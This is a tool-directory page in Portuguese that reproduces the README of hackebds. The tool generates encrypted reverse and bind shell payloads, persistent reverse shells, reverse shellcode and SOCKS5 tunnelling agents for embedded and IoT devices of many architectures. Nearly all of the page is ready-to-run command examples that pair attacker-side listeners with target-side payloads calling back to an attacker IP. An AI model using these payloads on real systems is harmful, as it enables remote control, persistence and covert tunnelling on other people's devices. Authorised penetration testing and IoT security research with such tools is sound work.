Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hackEmbedded — Esta ferramenta é usada para criptografar backdoor,shellcode,geração de proxy socks5,recuperação de informações e organização de POC para dispositivos de várias arquiteturas. | Kitploit
Ferramentas/GitHubGitHub/doudoudedi/hackembedded
Segurança de Sistemas EmbarcadosFerramentas de Criptografia/DescriptografiaSegurança IoTGeração de PayloadsExploraçãoEngenharia ReversaShellcodeTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoAnálise de Firmware
20732há 26 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
doudoudedi/hackembedded

hackEmbedded

Esta ferramenta é usada para criptografar backdoor,shellcode,geração de proxy socks5,recuperação de informações e organização de POC para dispositivos de várias arquiteturas.

Ver Repositório

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗readme em chinês

Visão Geral

hackebds é um kit de ferramentas para geração de payloads para dispositivos embarcados, fluxos de trabalho de shell criptografado, túneis proxy SOCKS5 e consulta de informações do dispositivo.

O branch atual usa um fluxo de trabalho ELF puro para recursos de shell criptografado e proxy:

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

O que mudou na nova versão

  • Adicionado shell reverso criptografado e shell bind criptografado para as arquiteturas suportadas na árvore atual
  • Adicionado listener ELF encrypted_shell_server / reverse_shell_server para que shells reversos criptografados possam ser recebidos sem manipuladores de tempo de execução Python
  • Adicionado conector ELF bind_shell_client para bind_shell
  • Adicionados fluxos de trabalho ELF de proxy SOCKS5 reverso e proxy SOCKS5 direto
  • Adicionadas opções de cifra aes e chacha20 para tráfego de shell/proxy criptografado
  • Adicionado -bind_ip para binários ELF do lado do ouvinte, como bind_shell, encrypted_shell_server, reverse_proxy_server e forward_proxy_file
  • Mantidos reverse_shell_file e como payloads de saída: eles usam e não vinculam um IP de ouvinte local

Instalação

root@kitploit:~
python3 -m pip install -U hackebds

Instalação para desenvolvimento local:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

Compilar em outra máquina

Se você recompilar as wheels de lançamento em outro host, use o zip de origem e o build_release.py.

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

Binutils Necessários

Instale os binutils da arquitetura alvo antes de gerar arquivos ELF não nativos.

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

Usuários de macOS podem usar os binutils do pwntools:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

Exemplos de Uso

1. Shell Reverso Criptografado

Lado do atacante:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

Lado do alvo:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

Notas:

  • reverse_shell_file não suporta -bind_ip
  • encrypted_shell_server suporta -bind_ip
  • altere -cipher chacha20 para -cipher aes para usar AES

2. Shell Bind Criptografado

Lado do alvo:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

Lado do atacante:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

Em seguida, digite:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. Shell Reverso Persistente

Ouvinte:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

Payload:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. Proxy SOCKS5 Reverso Criptografado

Servidor:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

Agente:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

Teste:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

Servidor com autenticação:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

Nota sobre UDP:

  • o proxy SOCKS5 reverso tem suporte UDP nos caminhos de proxy não-SPARC implementados
  • sparc / sparc64 não devem ser tratados como compatíveis com UDP

5. Proxy SOCKS5 Direto

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

Teste:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. Shellcode Reverso

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. Usar -model

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. Usar --mcpu

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. Usar --firmware

root@kitploit:~
hackebds --firmware ./firmware.bin

Notas

  • -bind_ip é apenas para arquivos ELF do lado do ouvinte
  • reverse_shell_file e reverse_proxy_file são payloads de saída e não vinculam um IP de ouvinte local
  • reverse_proxy_server e forward_proxy_file suportam -bind_ip
  • os exemplos de shell/proxy criptografado funcionam com ambos chacha20 e aes, desde que ambos os lados correspondam
Baixar ferramenta
reverse_proxy_file
-reverse_ip